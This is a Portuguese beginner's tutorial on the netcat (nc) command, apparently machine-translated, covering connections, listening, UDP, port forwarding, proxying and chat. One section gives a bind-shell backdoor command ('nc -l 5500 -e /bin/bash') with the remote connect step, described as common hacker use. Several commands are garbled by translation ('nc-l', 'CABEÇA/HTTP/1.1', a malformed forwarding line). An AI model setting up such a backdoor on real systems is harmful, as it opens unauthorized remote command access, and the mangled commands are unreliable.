Articles

O comando NC (NCAT) para iniciantes

Posted by admin

NC é para executar tarefas de manutenção/Diagnóstico relacionadas com a rede . Ele pode realizar operações como ler,escrever ou redirecionamento de dados sobre a rede, semelhante a como você pode usar o comando cat para manipular arquivos no sistema Linux. O comando Nc pode ser usado como um utilitário para digitalizar portas, monitorar ou também pode atuar como um proxy TCP básico.

as organizações podem utilizá-lo para rever a sua segurança de rede, servidores web, Servidores de telnet, servidores de E-mail e assim por diante, verificando as portas que são abertas e, em seguida, protegê-las., O comando NC também pode ser usado para capturar informações que estão sendo enviadas pelo sistema.

Leitura Recomendada : Top 7 comandos para Linux Monitoramento do Tráfego de Rede

Leia Também : Importante PostgreSQL comandos que você deve saber

Agora, vamos discutir como podemos usar o comando NC com alguns exemplos,

Exemplos para NC comando

Ligar a um servidor remoto

o Seguinte exemplo mostra como podemos conectar-se ao servidor remoto com o nc comando,

$ nc 10.10.10.100 80

aqui, 10.10.10.,100 é IP do servidor que queremos conectar a & 80 é o número de porta do servidor remoto. Uma vez conectado, podemos realizar algumas outras funções, como podemos obter o total conteúdo da página com

GET/HTTP/1.1

ou buscar nome da página,

GET/HTTP/1.1

ou podemos obter banner para OS fingerprinting com a seguinte,

CABEÇA/HTTP/1.1

Isto irá permitir-nos saber o que o software & versão é usada para executar o servidor.,

ouvir os pedidos de ligação de entrada

para verificar um servidor para o pedido de ligação de entrada num número de Porto, usar como exemplo

$ nc-l 8080

agora NC está em Modo de escuta para verificar o porto 8080 para pedidos de ligação de entrada. Agora o modo de escuta vai continuar em execução, até ser terminado manualmente. Mas podemos abordar esta opção ‘ w ‘ para NC,

$ nc-w 10 8080

aqui, 10 significa que NC só irá ouvir ligações durante 10 segundos.,

ligando-se aos portos UDP

por omissão, podemos ligar-nos aos portos TCP com NC, mas para ouvir o pedido de entrada feito aos portos UDP temos de usar a opção ‘u’,

$ nc-l-u 55

usando NC para encaminhamento de Portos

com a opção ‘c’ de NC, podemos redireccionar um porto para outro. Exemplo completo é,

$ nc-u-l 8080-C ‘nc-u-l 8090’

Aqui, encaminhamos todos os pedidos recebidos da porta 8080 para a porta 8090.

usando NC como servidor Proxy

para usar o comando NC como um proxy, use <| p>

$ nc – l 8080 / nc 10.10.10.,200 80

aqui, todas as ligações recebidas para a porta 8080 serão desviadas para o servidor 10.10.10.200 na porta 80.

Agora com o comando acima, nós apenas criamos uma passagem de ida. Para criar uma devolução de passagem ou de 2 vias de canal de comunicação, use os seguintes comandos

$ mkfifo 2way

$ nc – l 8080 0<2way | nc 10.10.10.200 80 1>2way

Agora você vai ter a capacidade de enviar e receber informações através nc proxy.,

usando NC como ferramenta de chat

outro utilitário que o comando NC pode servir é como uma ferramenta de chat. Sim, também podemos usá-lo como conversa. Para criá-lo, primeiro execute o seguinte comando em um servidor,

$ nc – l 8080

do Que para conectar no computador remoto, execute

$ nc 10.10.10.100 8080

Agora podemos começar a conversa usando o terminal/CLI.

usando NC para criar um backdoor do sistema

Agora este é o aplicativo mais comum de NC & é usado principalmente por hackers., Basicamente isso cria um backdoor para o sistema que pode ser explorado pelos hackers (você não deve estar fazendo isso, está errado).deve-se estar ciente disso a fim de proteger contra este tipo de façanhas.

o Seguinte comando pode ser usado para criar uma backdoor,

$ nc-l 5500 -e /bin/bash

aqui, anexamos porta 5500 para /bin/bash, que agora pode ser conectado a partir de uma máquina remota para executar os comandos,

$ nc 10.10.10.100 5500

Força o servidor a permanecer até

Servidor irá parar de escutar para conexão depois de uma ligação do cliente tenha sido finalizado., Mas com a opção ‘k’, podemos forçar um servidor a permanecer em execução, mesmo quando nenhum cliente está conectado.

$ nc-l-k 8080

terminamos agora este tutorial sobre como usar o comando NC, sinta-se à vontade para enviar quaisquer perguntas ou consultas que tenha sobre este artigo.,

Se você acha que tem ajudado você ou apenas quer para nos apoiar, por favor, considere estes :-

Ligue-nos: Facebook | Twitter | Google Plus

Doar-nos algum do seu dinheiro arduamente ganho:

Linux TechLab é grato por seu apoio contínuo.

Leave A Comment